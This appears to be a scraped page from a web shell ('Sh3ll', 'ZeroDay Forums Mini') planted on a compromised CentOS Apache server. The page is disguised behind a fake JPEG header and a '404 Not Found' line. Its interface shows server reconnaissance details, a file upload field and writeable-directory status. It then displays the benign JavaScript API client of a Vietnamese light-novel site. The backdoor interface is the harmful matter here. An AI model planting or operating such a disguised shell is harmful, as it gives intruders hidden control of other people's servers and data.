����JFIF��� ( %"1"%)+...383,7(-.- 404 Not Found
Sh3ll
OdayForums


Server : Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips PHP/7.4.20
System : Linux st2.domain.com 3.10.0-1127.10.1.el7.x86_64 #1 SMP Wed Jun 3 14:28:03 UTC 2020 x86_64
User : apache ( 48)
PHP Version : 7.4.20
Disable Function : NONE
Directory :  /var/www/html/lnovel/layout/novel/js/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //var/www/html/lnovel/layout/novel/js/js-API.js
var API = function(){
    var baseUri = '';
    var errorHandler = function(request){
        if(request.responseText){
            var data = JSON.parse(request.responseText);
            return Toast.error(data.error);
        }
        var error = typeof langs.errors[request.status] == 'undefined' ?'Lỗi '+request.status:langs.errors[request.status];
        return Toast.error(error);
    };
    var call = function(url,method,data,type,headers,success,error_callback){
        var xhr = new XMLHttpRequest();
        if(url.substr(0,1)!='/') url = '/'+url;
        var requestUrl = baseUri+url;
        if(method=='GET' && data){
            var prs = [];
            for(var p in data){
                if(data.hasOwnProperty(p)){
                    prs.push(p+'='+data[p]);
                }
            }
            if(requestUrl.indexOf('?')!=-1) requestUrl+='&'+prs.join('&');
            else requestUrl += '?'+prs.join('&');
        }
        xhr.open(method,requestUrl,true);
        xhr.onload = function () {
            if (xhr.readyState == 4){
                if(parseInt(xhr.status)>299){
                    if(typeof error_callback =='function') return error_callback(xhr);
                    return errorHandler(xhr);
                }
                var auth = xhr.getResponseHeader('www-Authentication');
                if(auth) setCookie('Authorization',auth,365*24);
                if(typeof success !='function') return;
                if(xhr.responseText=='') return success({});
                return success(JSON.parse(xhr.responseText));
            }
        };
        if(!headers) headers = {'Content-Language':document.documentElement.lang};
        var sendData = null;
        if(type=='json'){
            sendData = JSON.stringify(data);
            headers['Content-Type'] = 'application/json; charset=utf-8';
        }else if(data && method!='GET'){
            sendData = new FormData();
            for(var k in data){
                if(data.hasOwnProperty(k)) sendData.append(k,data[k]);
            }
        }
        if(getCookie('Authorization') && typeof headers['Authorization'] == "undefined") headers['Authorization'] = 'Bearer '+getCookie('Authorization');
        for(var h in headers){
            if(headers.hasOwnProperty(h)) xhr.setRequestHeader(h,headers[h]);
        }
        xhr.send(sendData);
    };
    return {
        setBaseUri: function(url){baseUri=url},
        get: function(url,headers,data,success,error){
            return call(url,'GET',data,null,headers,success,error);
        },
        post: function(url,headers,data,is_json,success,error){
            if(is_json) return call(url,'POST',data,'json',headers,success,error);
            return call(url,'POST',data,null,headers,success,error);
        },
        patch: function(url,headers,data,success,error){
            return call(url,'PATCH',data,'json',headers,success,error);
        },
        put: function(url,headers,data,is_json,success,error){
            if(typeof is_json=="function"){
                error = success;
                success = is_json;
                is_json = true;
            }
            if(is_json) return call(url,'PUT',data,'json',headers,success,error);
            return call(url,'PUT',data,null,headers,success,error);
        },
        delete: function(url,header,data,success,error){
            return call(url,'DELETE',data,'json',header,success,error);
        }
    }
}();
API.setBaseUri('https://api.enovel.mobi');

ZeroDay Forums Mini